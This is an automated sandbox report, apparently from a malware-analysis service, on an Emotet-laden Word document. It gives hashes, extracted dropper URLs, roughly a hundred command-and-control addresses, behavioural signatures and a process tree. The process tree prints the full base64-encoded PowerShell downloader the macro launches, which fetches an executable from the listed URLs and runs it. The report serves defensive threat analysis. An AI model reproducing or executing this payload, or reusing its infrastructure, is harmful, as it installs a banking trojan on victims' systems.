emotet | f3bff2146ab25f4f0f412c2fd7838a651680ce694b4cbcc5b0137dc5a16bfe8d

Analysis

max time kernel
136s
max time network
152s
platform
windows10_x64
resource
win10
submitted
23/09/2020, 12:23

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General

Target
emotet_e1_f3bff2146ab25f4f0f412c2fd7838a651680ce694b4cbcc5b0137dc5a16bfe8d_2020-09-23__122151748176._doc.doc
Size 152KB
Sample200923-5d7gp2jsms
SHA256 f3bff2146ab25f4f0f412c2fd7838a651680ce694b4cbcc5b0137dc5a16bfe8d
MD5 1b43b69deeef16bc37c40afde5e6b77f
SHA1 5cecbc21b9ac91f52b07a722888e65c7e474cfe0
SHA512 f750993aa66dbe3b9377753a7172abc4c2e0518762494f63f4de05d81c3e63b69dcae9d8d4fbe31612740e01a5418f6a70a2726ce147acfa802f4f88960eff3f
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://armahouse.com/wp-includes/0/
exe.dropper
http://bitbenderz.com/ali/4Lo/
exe.dropper
http://lagera.com/images/W/
exe.dropper
http://msmartyford.com/assets/OI/
exe.dropper
http://geisterhouse.com/cgi-bin/FE/
exe.dropper
https://konican.com/cgi-bin/nFK/
exe.dropper
https://coolcomputers.info/LLC/zD/

Extracted

Family

emotet

70.116.143.84:80
51.75.33.127:80
37.157.196.117:7080
116.202.23.3:8080
187.162.248.237:80
204.225.249.100:7080
67.247.242.247:80
192.241.146.84:8080
178.250.54.208:8080
188.135.15.49:80
77.238.212.227:80
152.169.22.67:80
186.103.141.250:443
82.76.111.249:443
213.197.182.158:8080
201.213.177.139:80
74.136.144.133:80
72.47.248.48:7080
51.38.124.206:80
190.24.243.186:80
174.113.69.136:80
192.81.38.31:80
68.69.155.181:80
45.16.226.117:443
111.67.12.221:8080
83.169.21.32:7080
82.230.1.24:80
51.255.165.160:8080
70.32.115.157:8080
61.92.159.208:8080
191.182.6.118:80
77.90.136.129:8080
181.129.96.162:8080
45.46.37.97:80
68.183.170.114:8080
190.117.79.209:80
192.241.143.52:8080
65.36.62.20:80
185.94.252.27:443
96.245.123.149:80
185.215.227.107:443
70.32.84.74:8080
190.2.31.172:80
104.131.41.185:8080
189.2.177.210:443
190.163.31.26:80
92.24.50.153:80
185.183.16.47:80
119.106.216.84:80
60.108.144.104:443
177.129.17.170:443
186.70.127.199:8090
104.131.103.37:8080
80.11.164.185:80
212.71.237.140:8080
185.94.252.12:80
1.226.84.243:8080
177.74.228.34:80
111.67.77.202:8080
199.203.62.165:80
5.196.35.138:7080
217.199.160.224:7080
91.105.94.200:80
190.115.18.139:8080
220.109.145.69:80
138.97.60.141:7080
60.93.23.51:80
74.58.215.226:80
78.249.119.122:80
5.189.178.202:8080
219.92.13.25:80
38.88.126.202:8080
96.227.52.8:443
64.201.88.132:80
181.30.61.163:443
95.9.180.128:80
177.73.0.98:443
202.4.58.197:80
209.236.123.42:8080
61.197.92.216:80
170.81.48.2:80
51.159.23.217:443
123.51.47.18:80
12.162.84.2:8080
54.37.42.48:8080
185.232.182.218:80
87.106.46.107:8080
217.13.106.14:8080
137.74.106.111:7080
68.183.190.199:8080
51.15.7.189:80
77.106.157.34:8080
172.104.169.32:8080
190.190.148.27:8080
76.168.54.203:80
2.36.95.106:80
185.178.10.77:80
50.28.51.143:8080
35.143.99.174:80
50.121.220.50:80
45.33.77.42:8080
98.13.75.196:80
94.176.234.118:443
155.186.0.121:80
216.47.196.104:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1676	3048	POWeRsHeLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4088-14-0x00000000005D0000-0x00000000005E2000-memory.dmp	emotet
behavioral2/memory/4088-14-0x00000000005D0000-0x00000000005E2000-memory.dmp	emotet
behavioral2/memory/4088-15-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/4088-15-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2104-18-0x0000000002130000-0x0000000002142000-memory.dmp	emotet
behavioral2/memory/2104-18-0x0000000002130000-0x0000000002142000-memory.dmp	emotet
behavioral2/memory/2104-19-0x0000000002150000-0x0000000002160000-memory.dmp	emotet
behavioral2/memory/2104-19-0x0000000002150000-0x0000000002160000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	1676	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4088	X8gm4grj.exe
2104	ngcksp.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\pstorec\ngcksp.exe	X8gm4grj.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3404	WINWORD.EXE
3404	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1676	POWeRsHeLL.exe
1676	POWeRsHeLL.exe
1676	POWeRsHeLL.exe
2104	ngcksp.exe
2104	ngcksp.exe
2104	ngcksp.exe
2104	ngcksp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1676	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1676 wrote to memory of 4088	1676	POWeRsHeLL.exe	78
PID 1676 wrote to memory of 4088	1676	POWeRsHeLL.exe	78
PID 1676 wrote to memory of 4088	1676	POWeRsHeLL.exe	78
PID 4088 wrote to memory of 2104	4088	X8gm4grj.exe	81
PID 4088 wrote to memory of 2104	4088	X8gm4grj.exe	81
PID 4088 wrote to memory of 2104	4088	X8gm4grj.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_f3bff2146ab25f4f0f412c2fd7838a651680ce694b4cbcc5b0137dc5a16bfe8d_2020-09-23__122151748176._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3404

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABLAHoAcQAyADAAaQBsAD0AKAAnAEkAJwArACcAMgB4ACcAKwAoACcAZwAnACsAJwByADcAYwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBQAFIATwBmAEkATABFAFwATQBmAGoANAAzAE0AZgBcAGcANABfADgARAB5ADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAVQBgAFIAaQBUAFkAYABwAFIAbwBUAGAATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAnACwAJwArACcAIAB0ACcAKwAoACcAbABzADEAMQAnACsAJwAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFEAdQA5AHkAcQBqADEAIAA9ACAAKAAoACcAWAAnACsAJwA4AGcAJwApACsAKAAnAG0ANAAnACsAJwBnACcAKQArACcAcgBqACcAKQA7ACQAVQBpAGEAMwBtADgAXwA9ACgAJwBTAGkAJwArACcAMgA0ACcAKwAoACcAXwB0ACcAKwAnAGkAJwApACkAOwAkAFAAMABzAHEANAAyAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBjACcAKwAnAFYANQAnACkAKwAnAE0AZgAnACsAJwBqADQAJwArACcAMwBtACcAKwAnAGYAJwArACgAJwBjAFYAJwArACcANQBHACcAKQArACgAJwA0ACcAKwAnAF8AOABkACcAKQArACgAJwB5ADQAYwAnACsAJwBWADUAJwApACkALQByAGUAUABMAGEAYwBlACAAKAAnAGMAJwArACcAVgA1ACcAKQAsAFsAYwBoAGEAcgBdADkAMgApACsAJABRAHUAOQB5AHEAagAxACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQARwByAGIAegAwAGoAbgA9ACgAKAAnAEgAXwAnACsAJwBoACcAKQArACgAJwByAHIAJwArACcAcABpACcAKQApADsAJABHAG8AMABiAHoAcgB6AD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABOAGUAVAAuAHcAZQBiAEMAbABpAEUATgB0ADsAJABUAHUAMgBqADIAbwB0AD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoAJwArACgAJwAvACcAKwAnAC8AYQAnACkAKwAoACcAcgAnACsAJwBtACcAKwAnAGEAaABvAHUAcwAnACsAJwBlAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AaQAnACkAKwAoACcAbgAnACsAJwBjAGwAdQBkACcAKQArACcAZQAnACsAKAAnAHMALwAwACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAYgAnACsAJwBpAHQAYgAnACkAKwAnAGUAJwArACgAJwBuAGQAZQByAHoAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACcALwAnACsAJwBhAGwAJwApACsAJwBpACcAKwAoACcALwAnACsAJwA0AEwAbwAnACkAKwAnAC8AJwArACgAJwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBsAGEAJwArACcAZwBlACcAKQArACcAcgAnACsAKAAnAGEALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAnAC8AJwArACgAJwBpAG0AYQBnAGUAcwAnACsAJwAvAFcAJwApACsAJwAvACcAKwAoACcAKgBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKQArACgAJwBtAHMAbQBhACcAKwAnAHIAdAB5AGYAJwArACcAbwByACcAKQArACgAJwBkAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AYQAnACsAJwBzAHMAZQAnACkAKwAoACcAdABzACcAKwAnAC8ATwBJAC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAA6AC8ALwBnACcAKwAnAGUAJwApACsAKAAnAGkAcwB0ACcAKwAnAGUAcgBoACcAKQArACgAJwBvACcAKwAnAHUAcwAnACkAKwAoACcAZQAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBjACcAKwAoACcAZwBpAC0AJwArACcAYgAnACkAKwAoACcAaQBuACcAKwAnAC8AJwApACsAJwBGACcAKwAoACcARQAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8ALwAnACkAKwAnAGsAbwAnACsAKAAnAG4AaQAnACsAJwBjAGEAbgAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACsAJwAvAGMAJwApACsAJwBnACcAKwAnAGkAJwArACcALQAnACsAJwBiACcAKwAoACcAaQBuAC8AbgBGAEsALwAnACsAJwAqACcAKQArACcAaAAnACsAKAAnAHQAdABwAHMAJwArACcAOgAnACkAKwAoACcALwAvAGMAbwBvACcAKwAnAGwAJwApACsAKAAnAGMAJwArACcAbwBtAHAAdQAnACsAJwB0AGUAJwApACsAJwByACcAKwAoACcAcwAuAGkAJwArACcAbgBmACcAKQArACgAJwBvAC8AJwArACcATAAnACkAKwAoACcATABDAC8AJwArACcAegBEAC8AJwApACkALgAiAFMAUABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgA5AGcAYQBsAGkAXwA9ACgAJwBRAHEAJwArACgAJwAyACcAKwAnAHgAbAA3ACcAKQArACcAOQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABZAHgAbwB4AHIAYgBfACAAaQBuACAAJABUAHUAMgBqADIAbwB0ACkAewB0AHIAeQB7ACQARwBvADAAYgB6AHIAegAuACIARABvAFcAbgBMAE8AYABBAGAARABmAGkAbABFACIAKAAkAFkAeABvAHgAcgBiAF8ALAAgACQAUAAwAHMAcQA0ADIAaQApADsAJABZAHIAdAAxAHAAdQA2AD0AKAAoACcAVwBqAHIAJwArACcAbQAxAHMAJwApACsAJwBqACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABQADAAcwBxADQAMgBpACkALgAiAGwAYABlAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA1ADcANgAzACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AJwArACcAawBlAC0ASQB0AGUAbQAnACkAKAAkAFAAMABzAHEANAAyAGkAKQA7ACQATgB3AGIAbgBoAHQAYQA9ACgAKAAnAEYAYgBzACcAKwAnAHMAMgAnACkAKwAnAHAAbwAnACkAOwBiAHIAZQBhAGsAOwAkAFYAdQBfADgAdAA0AHkAPQAoACcAUQBnACcAKwAoACcAYgAzACcAKwAnAHkAZQBmACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAHcANABrADgAYQAyAD0AKAAnAE4AaAAnACsAKAAnAGgAcwAnACsAJwBtACcAKQArACcAYgBkACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Users\Admin\Mfj43mf\G4_8dy4\X8gm4grj.exe
  "C:\Users\Admin\Mfj43mf\G4_8dy4\X8gm4grj.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:4088
- - C:\Windows\SysWOW64\pstorec\ngcksp.exe
    "C:\Windows\SysWOW64\pstorec\ngcksp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2104

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1676-9-0x000002A73BD90000-0x000002A73BD91000-memory.dmp

Download

memory/1676-10-0x000002A73BF50000-0x000002A73BF51000-memory.dmp

Download

memory/1676-8-0x00007FFEA21A0000-0x00007FFEA2B8C000-memory.dmp

Download

memory/2104-19-0x0000000002150000-0x0000000002160000-memory.dmp

Download

memory/2104-18-0x0000000002130000-0x0000000002142000-memory.dmp

Download

memory/3404-5-0x000002877BA49000-0x000002877BA4C000-memory.dmp

Download

memory/3404-7-0x000002877BBC9000-0x000002877BBD2000-memory.dmp

Download

memory/3404-6-0x00000287795D9000-0x00000287795F9000-memory.dmp

Download

memory/3404-0-0x00007FFEA9A30000-0x00007FFEAA0F6000-memory.dmp

Download

memory/3404-4-0x000002877BA49000-0x000002877BA4C000-memory.dmp

Download

memory/3404-3-0x000002877BA44000-0x000002877BA49000-memory.dmp

Download

memory/3404-2-0x000002877BA49000-0x000002877BA4C000-memory.dmp

Download

memory/3404-1-0x000002877BA4C000-0x000002877BA5D000-memory.dmp

Download

memory/4088-14-0x00000000005D0000-0x00000000005E2000-memory.dmp

Download

memory/4088-15-0x00000000001F0000-0x0000000000200000-memory.dmp

Download